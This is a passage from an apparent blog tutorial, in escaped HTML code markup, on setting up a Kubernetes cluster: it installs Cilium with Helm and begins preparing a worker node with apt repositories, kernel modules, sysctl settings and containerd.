style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.6\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.6\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we want \u003ccode\u003e1.11.4\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--namespace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-system\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--version\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.4\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow our node should be ready!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e24\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eTime to join our worker to the cluster!\u003c/p\u003e\n\u003ch2\u003eJoining a worker to the cluster!\u003c/h2\u003e\n\u003cp\u003eWe have to go through the same steps as the controlplane to get the point that we have a\ncontainer runtime and \u003ccode\u003ekubeadm\u003c/code\u003e.   I’m not going to talk about the commands a second time but\nI’ll re-iterate them here for ease of following along.\u003c/p\u003e\n\u003cp\u003eFirst open up another shell and connect to the worker:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eshell\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow run the following commands:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb  http://apt.kubernetes.io/  kubernetes-xenial  main\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-cs\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-ril\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e '\\.rp_filter' /etc/sysctl.d/ /usr/lib/sysctl.d/)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eawk\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-iptables  = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.ipv4.ip_forward                 = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--system\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupgrade\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.io=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.6\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e  [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e   [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e      [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        